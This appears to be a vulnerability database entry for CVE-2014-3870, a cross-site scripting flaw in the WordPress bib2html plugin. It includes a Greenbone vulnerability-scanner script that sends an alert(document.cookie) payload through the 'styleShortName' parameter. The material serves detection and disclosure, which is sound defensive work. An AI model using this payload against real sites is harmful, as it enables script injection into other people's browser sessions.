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WordPress bib2html 'styleShortName' Cross Site Scripting Vulnerability

🗓️ 02 Jun 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
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WordPress bib2html 'styleShortName' Cross Site Scripting Vulnerability. Input passed via the 'styleShortName' HTTP GET parameter to /OSBiB/create/index.php script is not properly sanitised before returning to the user. Successful exploitation will allow attacker to execute arbitrary HTML and script code in a user's browser session in the context of an affected site. Affected version is WordPress bib2html Plugin version 0.9.3

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cve
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CVE-2014-3870
27 May 201414:00
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cvelist
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CVE-2014-3870
27 May 201414:00
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euvd
EUVD
EUVD-2014-3807
7 Oct 202500:30
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CVE-2014-3870
27 May 201413:55
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Patchstack
WordPress Bib2html Plugin <= 0.9.3 - XSS
27 May 201400:00
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prion
Prion
Cross site scripting
27 May 201413:55
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RedhatCVE
CVE-2014-3870
22 May 202513:54
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WPVulnDB
bib2html 0.9.3 - /OSBiB/create/index.php styleShortName Parameter XSS
1 Aug 201410:59
wpvulndb
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804592");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2014-3870");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2014-06-02 15:00:13 +0530 (Mon, 02 Jun 2014)");
  script_name("WordPress bib2html 'styleShortName' Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"WordPress bib2html Plugin is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able to read
  cookie or not.");

  script_tag(name:"insight", value:"Input passed via the 'styleShortName' HTTP GET parameter to /OSBiB/create/index.php
  script is not properly sanitised before returning to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"WordPress bib2html Plugin version 0.9.3, Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://1337day.com/exploit/22281");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/67589");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/126782");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/wp-content/plugins/bib2html/OSBiB/create/index.php?'
          + 'action=adminStyleAdd&styleShortName="/><script>'
          + 'alert(document.cookie);</script>';

if(http_vuln_check(port:port, url:url, check_header:TRUE,
   pattern:"<script>alert\(document\.cookie\);</script>",
   extra_check:">OSBib-Create<"))
{
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

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27 Oct 2023 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 24.3
EPSS0.01633
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